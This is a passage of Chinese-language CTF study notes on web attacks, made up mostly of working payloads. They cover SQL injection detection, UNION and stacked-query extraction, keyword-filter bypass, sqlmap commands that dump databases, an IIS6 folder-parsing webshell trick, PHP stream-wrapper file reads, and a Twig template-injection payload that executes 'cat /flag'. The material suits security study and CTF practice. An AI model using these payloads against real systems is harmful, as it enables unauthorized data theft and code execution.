mysql -u root -p shell 连接数据库
1、判断注入漏洞:
(1)and 1=1 / and 1=2 若回显页面不同则说明是整形注入,否则不是
(2)-1/+1 回显下一个或上一个页面说明是整形注入,否则不是
(3)单引号判断 ‘ 显示数据库错误信息或者页面回显不同,说明是字符型注入
构造语句:id=1’ order by 1,2,3,4…# 或者1’ order by 1,2,3,4…# 构造闭合语句查询 x从1,2,3,4…逐个尝试,直到试到n时没有回显或回显错误,则字段数为n-1。
原因:个人理解是假设网页只显示某个窗口,我们查询数据库的信息就由此窗口显示。所以我们想要查询出某些信息,就要把对应的属性放到这个位置上,这样就能通过这个窗口显示出我们需要的信息。
要判断回显位我们可以通过构造union联合查询语句1’ union select 1,2,3,4#(假设上一步判断出字段数为4)然后观察网页的显示
查询显示得到名为skctf,进行下一步
1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘geekuser’#
group_concat //连接字段
union select被过滤掉了
绕过过滤有挺多方法的 这里:SQL注入绕过关键词
我使用注释符绕过:union/**/select
查询显示得到fl4g,进行下一步
(MySQL版本大于5.0时,有个默认数据库information_schema,里面存放着所有数据库的信息(比如表名、 列名、对应权限等),我们可以通过这个数据库进行相关查询)
6 然后使用“堆叠注入”(就是通过 ; 号注入多条SQL语句),可以通过show databases查看数据库
0’; show databases; # // 或者 1’;show databases-- q
0’; show tables;#
1’; show columns from table;#
查看表 1919810931114514 的内容。(表名为数字时,要用反引号包起来查询。)
0’; show columns from 1919810931114514; #
反写表名
1’; rename table words to word1; rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
HANDLER … OPEN语句打开一个表
HANDLER … READ语句访问
HANDLER … CLOSE关闭一个表
1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》
1现在是判断网站数据库类型,命令格式 :sqlmap -u 目标网址
2命令格式:sqlmap -u 目标网址 --dbs 回车,就可以查看到目标存在的数据库
3查看指定数据库中存在的表 sqlmap -u 目标网址 --tables -D 数据库名
4 查看表中的字段 命令格式:sqlmap -u 目标网址 --columns -T 表名 -D 数据库名
5查看表里存储的内容 命令格式:sqlmap -u 目标网址 --dump -C 字段名称 -T 表名 -D 数据库名
》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》
iis6本身的漏洞,利用建立*.asp文件夹,其中的文件都会解析成asp文件 可进行 webshell
》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》
》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》
》》》》》》》》》》》》》》》》》》》
php://input
php://filter/read=convert.base64-encode/resource=文件名.php
view-source
{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“cat /flag”)}}
?id[]=1&gg[]=2
base64中包含大写字母(A-Z),小写字母(a-z),数字0—9以及+/;
base32中只包含大写字母(A-Z)和数字234567